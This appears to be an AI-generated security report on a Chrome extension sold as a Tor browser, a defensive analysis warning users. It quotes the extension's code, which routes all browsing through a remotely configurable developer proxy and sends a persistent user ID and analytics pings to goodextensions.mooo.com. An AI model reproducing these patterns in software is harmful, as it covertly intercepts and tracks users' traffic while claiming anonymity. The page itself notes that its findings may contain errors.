Is Tor Browser (Unofficial port for Chrome) safe?
Tor Browser is high risk. Clicking Connect routes every HTTP/HTTPS request through goodextensions.mooo.com, developer infrastructure, not Tor. The proxy host comes from a config endpoint each popup open, so it can change anytime. Analysis confirmed the call and PAC.…
Who publishes itGOODEXTENSIONS - 4 other listings from the same operator, 1 of them carrying a finding
GOODEXTENSIONS - 4 other listings from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
4 other listings published from this account, 10k+ users between them. 1 of them carries a finding.
Shared hosts - 2 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Fake Tor proxy routes all traffic through developer's server
Clicking Connect routes every HTTP/HTTPS request through goodextensions.mooo.com, developer infrastructure, not Tor.
The proxy host comes from a config endpoint each popup open, so it can change anytime.
Analysis confirmed the call and PAC
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-319
- Source
- Dynamic sandbox
You click Connect in the extension popup.
You expect your traffic to be anonymised through the Tor network.
The extension sets a browser-wide PAC script routing every HTTP and HTTPS request through ep01.goodextensions.mooo.com:443.
The proxy host was fetched from the developer's config endpoint moments earlier and can be changed remotely.
JSON object containing proxy host, port, and remote-config flags including magic_level, x_h, y_h, lang.
PAC script construction, js/functions.js:12-32
function torOn { window.tor_enabled = 1; chrome.storage.session.set({tor_enabled: 1}, function{}); chrome.storage.session.set({tor_started: 1}, function{}); chrome.storage.session.set({tor_settings: tor_settings}, function{}); chrome.proxy.settings.set( { value: { mode: 'pac_script', pacScript: { data: 'function FindProxyForURL(url, host) { return "HTTPS ' + tor_settings.url + ':443"; }' } }, scope: 'regular' }, function { console.log('TOR=On'); } );}- goodextensions.mooo.com
Config endpoint (torconfig.php) supplying the proxy host. Also parent domain for proxy servers ep01/ep04.goodextensions.mooo.com seen in analysis.
The Tor network routes traffic through a series of volunteer relays before it exits to the destination. This extension routes traffic through a single HTTPS proxy under the developer's control. That proxy sees the origin IP, the destination host, and — for unencrypted HTTP traffic — the full request content. The extension listing names the product 'Tor Browser (secure & fast)'; the code does not connect to any Tor relay or onion service.
Persistent tracking ID sent to developer server on every popup open
Each popup open sends a unique ID, generated at install and stored in synced storage, to goodextensions.mooo.com.
This happens before Connect, regardless of proxy activation.
Analysis confirmed the same UUID across popup opens and sessions.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You open the extension popup.
No connection is established, no button is clicked.
The extension transmits your persistent UUID to goodextensions.mooo.com before rendering the Connect button.
The same ID is sent on every subsequent popup open, allowing the developer's server to build a timeline of when you opened the popup.
JSON config object with proxy host and remote-config fields. The cid value is stable across requests.
- Persistent user ID53c4d230-b38e-49b5-9794-3a8c83453b6d
A UUID tied to your browser profile, synced to any device signed into Chrome. Lets the server link all your popup opens to one identity.
- Cache-bust nonce0.7341829
A random number appended to prevent caching. Has no privacy impact but confirms a fresh network request is made each time.
- IP address203.0.113.47
Your public IP address is transmitted implicitly with every HTTP request.
UUID storage and transmission, js/functions.js:57-73 + js/popup.js:34
UUID creation and sync storage
js/functions.jsasync function getUserID { let obj = await chrome.storage.sync.get('id'); let id = obj.id; if (id) { return id; } else { let id = uuidv4; chrome.storage.sync.set({ id: id }); return id; }}Transmission on popup open (else branch — proxy not yet active)
js/popup.js$.getJSON( 'https://goodextensions.mooo.com/ext/tor-browser/torconfig.php?cid=' + id + '&nc=' + Math.random, function(data) { window.tor_settings = data; render('<p style="text-align: center;"><button id="on">Connect</button></p>'); button_act; // ... });- goodextensions.mooo.com
Developer-controlled config endpoint. Receives the persistent user UUID, IP address, and install metadata on every popup open.
Analytics beacon fires to developer server on every popup open
Each popup open sends a request to stat.goodextensions.mooo.com.
It has no explicit parameters, but carries your IP and browser headers via the HTTP connection.
Analysis confirmed four popup opens each triggered a request.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You open the extension popup.
No interaction beyond opening the popup is required.
The extension sends a GET request to stat.goodextensions.mooo.com, transmitting your IP address implicitly.
This happens on every popup open with no conditions and no way for the user to opt out.
HTTP 200 with body {"status":"ok"}. No content returned beyond acknowledgement.
Analytics beacon, js/stat.js:1 (entire file)
fetch('https://stat.goodextensions.mooo.com/s/tor-browser');- stat.goodextensions.mooo.com
Developer-controlled analytics endpoint. Receives one request per popup open; no explicit payload beyond standard HTTP headers including IP address.
+1 more finding not shown
What it can do
Permissions this extension asks for, as declared in version 6.1.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 9.9.0, which we have not unpacked yet.
Read and change your data on every site you visit
http://*/*
Read and change your data on every secure site you visit
https://*/*
Store data in your browser
storage
Route all of your browsing through a server of its choosing
proxy
Watch every request your browser makes
webRequest